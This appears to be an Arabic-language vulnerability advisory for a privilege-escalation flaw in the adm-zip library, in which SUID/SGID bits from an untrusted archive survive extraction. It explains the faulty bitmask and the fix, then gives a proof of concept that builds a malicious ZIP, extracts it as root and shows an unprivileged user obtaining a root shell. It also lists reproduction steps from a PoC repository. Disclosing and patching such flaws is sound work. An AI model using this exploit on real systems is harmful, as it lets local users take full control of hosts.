
CVE-2026-102282: تصعيد الصلاحيات المحلي عبر الحفاظ على SUID/SGID أثناء استخراج الأرشيف
adm-zip هي مكتبة أرشيف ZIP مكتوبة بلغة JavaScript خالصة لـ Node.js، وهي راسخة في النظام البيئي npm بأكثر من 20 مليون تنزيل أسبوعي. وهي مدمجة على نطاق واسع في خطوط أنابيب CI/CD، وسير عمل بناء الحاويات، وأدوات النشر السحابي، وتطبيقات جانب الخادم للتعامل مع ضغط الأرشيف واستخراجه.
أثناء الاستخراج، تدعم adm-zip خيار التكوين keepOriginalPermission المخصص لاستعادة أذونات POSIX المسجلة في الأرشيف. ومع ذلك، فشلت المكتبة في تصفية بتات وضع الملفات الخاصة في Unix التي تحمل امتيازات خاصة: SUID (S_ISUID، 0o4000)، وSGID (S_ISGID، 0o2000)، وsticky bit (S_ISVTX، 0o1000).
عندما يستخرج تطبيق أرشيف ZIP غير موثوق باستخدام keepOriginalPermission = true أثناء تشغيله بصلاحيات مرتفعة (مثل مشغّل CI بمستوى root، أو نقطة دخول حاوية Docker، أو خادم مهام خلفي)، تطبّق adm-zip بتات SUID/SGID المحددة من المهاجم على القرص عبر fs.chmodSync(). يؤدي هذا إلى إنشاء ملف تنفيذي SUID مملوك لـ root على نظام ملفات المضيف، مما يسمح لمستخدم محلي غير مميز بتنفيذ الملف الثنائي والحصول على صلاحيات root فورًا.
adm-zip >= 0.5.10, <= 0.6.0adm-zip >= 0.6.1في مواصفات تنسيق PKWARE ZIP، تُخزَّن أذونات ملفات Unix في حقل external file attributes ذي 32 بت في ترويسة الدليل المركزي (البايتات 38-41). في الأرشيفات المتوافقة مع Unix، تُشفِّر البتات الـ16 العليا نوع الملف ووضع أذونات POSIX ذا 12 بت (0o7777).
في الإصدارات <= 0.6.0، استخدم headers/entryHeader.js قناع بتات من 12 بت (0xfff):
// headers/entryHeader.js
get fileAttr() {
return (_attr || 0) >> 16 & 0xfff;
}
يستخرج قناع البتات 0xfff (الثنائي 1111 1111 1111) كامل البتات الـ12 السفلى، محافظًا ليس فقط على أذونات القراءة/الكتابة/التنفيذ القياسية (0o777)، بل أيضًا على بتات الأذونات الخاصة 0o4000 (SUID)، و0o2000 (SGID)، و0o1000 (Sticky).
في الإصدار 0.6.1، تم تقييد القناع إلى 0o777 (511 بالنظام العشري)، مما أزال جميع بتات الامتيازات الخاصة:
get fileAttr() {
- return (_attr || 0) >> 16 & 0xfff;
+ return (_attr || 0) >> 16 & 0o777;
}
تنشأ المشكلة عند تمكين keepOriginalPermission أثناء الاستخراج:
// adm-zip.js
const fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;
filetools.writeToFile(entryName, content, overwrite, fileAttr);
في util/utils.js، تم تمرير السمة المستخرجة مباشرة إلى نظام الملفات دون التحقق منها:
// util/utils.js
self.fs.chmodSync(path, attr || 0o666);
عندما تعمل عملية الاستخراج بصلاحيات root (euid 0) على نظام ملفات مُثبَّت بدون nosuid، يضبط fs.chmodSync() أذونات الملف المستخرج إلى الوضع 0o4755 (-rwsr-xr-x) المملوك لـ root:root.
[email protected])إنشاء الأرشيف والاستخراج بصلاحيات مرتفعة:
$ g++ -O2 Verify.cpp -o Verify
$ node BuildZip.js Verify exploit.zip tools/helper
Generated: exploit.zip -> tools/helper (mode 0o104755)
$ sudo node Extract.js exploit.zip /var/local/poc_out
Extracted exploit.zip into /var/local/poc_out
$ stat -c "%a %A %U:%G" /var/local/poc_out/tools/helper
4755 -rwsr-xr-x root:root
التنفيذ بواسطة مستخدم محلي غير مميز (uid=1000):
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ /var/local/poc_out/tools/helper
[*] Real UID: 1000, Effective UID: 0
[+] SUID preserved. Escalating to root.
# id
uid=0(root) gid=0(root) groups=0(root)
[email protected])$ sudo node Extract.js exploit.zip /var/local/poc_out_patched
Extracted exploit.zip into /var/local/poc_out_patched
$ stat -c "%a %A %U:%G" /var/local/poc_out_patched/tools/helper
755 -rwxr-xr-x root:root
$ /var/local/poc_out_patched/tools/helper
[*] Real UID: 1000, Effective UID: 1000
[-] Normal execution context (unprivileged).
عند معالجة ملفات ZIP غير موثوقة بصلاحيات مرتفعة — مثل وكلاء البناء الآليين، وبيئات الاستضافة المشتركة، وإجراءات تهيئة حاويات serverless، وأطر تثبيت الإضافات — يمكن لمستخدم غير مميز تقديم أرشيف مُصمَّم بعناية لزرع ملف ثنائي SUID عشوائي مملوك لـ root، مما يؤدي إلى تصعيد الصلاحيات المحلي (LPE) وتنفيذ تعليمات برمجية عشوائية بصلاحيات root.
git clone https://github.com/x86byte/adm-zip_LPE-PoC.git
cd adm-zip_LPE-PoC/adm-zip_lpe
g++ -O2 Verify.cpp -o Verify
node BuildZip.js Verify exploit.zip tools/helper
adm-zip المصاب:npm install [email protected]
sudo node Extract.js exploit.zip /var/tmp/poc_out
stat -c "%a %A %U:%G" /var/tmp/poc_out/tools/helper
# Output: 4755 -rwsr-xr-x root:root
/var/tmp/poc_out/tools/helper
ملاحظة: يجب أن يكون دليل الاستخراج الهدف موجودًا على نظام ملفات مُثبَّت بدون nosuid.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - النتيجة الأساسية 7.1)0.6.1